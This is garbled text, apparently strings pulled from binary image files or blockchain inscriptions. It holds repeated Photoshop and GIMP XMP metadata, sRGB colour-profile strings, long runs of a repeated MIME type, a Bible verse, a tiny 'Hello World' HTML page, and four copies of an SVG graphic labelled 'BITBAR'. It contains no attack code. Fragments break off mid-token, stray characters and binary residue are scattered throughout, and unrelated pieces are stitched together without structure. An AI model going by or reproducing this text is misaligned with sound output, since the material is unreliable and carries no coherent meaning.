orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7A6E9E46A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7A6E9E47A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7A6E9E44A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7A6E9E45A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6F30B5E2A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6F30B5E3A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6DA6A7DFA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6DA6A7E0A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>:_
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:2B261B6CA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:2B261B6DA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:299C4F31A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:299C4F32A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:858712D2A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:858712D3A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:83FE3179A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:83FE317AA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:33DD0650A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:33DD0651A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:33DD064EA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:33DD064FA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:88B78A9AA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:89BBB6AAA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:88B78A98A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:88B78A99A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:E7D7712AAA3C11EDAFC0F65417023B76" xmpMM:InstanceID="xmp.iid:E7D77129AA3C11EDAFC0F65417023B76" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/plain;charset=utf-8
2023-02-13T12:41:46+00:00
2023-02-13T12:41:46+00:00
2023-02-13T12:41:50+00:00#
text/plain;charset=utf-8
For God so loved the world that He gave His only begotten Son, that whoever believes in Him should not perish but have everlasting life.
((((((((((((((((((((((((((((((((((((((((((((((((((
FjDOUT:FBF92EDD150648B6DDB7F385895CAE4E611BA807E27E038EB6DE74A3D07780B1
0("(00290060204.00002000200000000000000000000000000000
http://ns.adobe.com/xap/1.0/
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"/></x:xmpmeta>


                    M





                                   M





                                                  M





                                                                 M



                            <?xpacket end='w'?>
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/html;charset=utf-8
	<meta charset="UTF-8">
	<title>Hello World</title>
	<img src="https://raw.githubusercontent.com/lightning/bolts/d89c743ec0d27b8d71c228f71b943fb3d2751781/taproot_channel_open.jpg" />
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7FF428E6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7FF428E7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7E70772BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7E70772CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:448FEED6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:448FEED7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:448FEED4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:448FEED5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
fffffffffffffffffffffff`
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:99B87322A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9AC0C79CA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:99B87320A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:99B87321A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4721FFA0A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4721FFA1A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4721FF9EA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4721FF9FA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>M
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
yhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:378cdc56-13df-485e-9708-0cfcf6c377b1" xmpMM:InstanceIM
D="xmp.iid:822fd6df-a1f5-453a-aec1-99aed2c67f0d" xmpMM:OriginalDocumentID="xmp.did:21f66e93-5778-4aed-b390-a1a62c389998" dc:Format="image/jpeg" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676249902371939" GIMP:Version="2.10.30" xmp:CreatorTool="GIMP 2.10"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:398f7655-5530-443a-91e7-0cfe7e94f6e5" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-12T19:58:22-05:00"/> </rdf:Seq> </xmpMM:History> </rdfM
:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
      <?xpacket end="w"?>
Copyright Apple Inc., 2017
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:3BE671A4A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:3BE671A5A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3A669FD3A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3A669FD4A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u
zTXtRaw profile type exif
iTXtXML:com.adobe.xmp
 id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="M
gimp:docid:gimp:a80734d9-f188-4c20-a5e6-5a5635d1aca3"
   xmpMM:InstanceID="xmp.iid:2d1f60f5-0d8b-4f79-8614-863c42671ce0"
   xmpMM:OriginalDocumentID="xmp.did:9f133c47-0816-4695-a7b1-9bf82fb69cd8"
   dc:Format="image/png"
   GIMP:Platform="Windows"
   GIMP:TimeStamp="1676277984722448"
   GIMP:Version="2.10.28"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:8e470bM
95-bd70-4614-b24d-01449fd5dae0"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2023-02-13T21:46:24"/>
  </rdf:Description>








                              M





                                             M





                                                            M



(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5E14BFAAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5E14BFABA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5E14BFA8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5E14BFA9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:3D6767D5A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:3D6767D6A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3D6767D3A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3D6767D4A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>g
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:9831391BA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9831391CA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:98313919A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:9831391AA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6983B7D8A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6983B7D9A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6983B7D6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6983B7D7A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
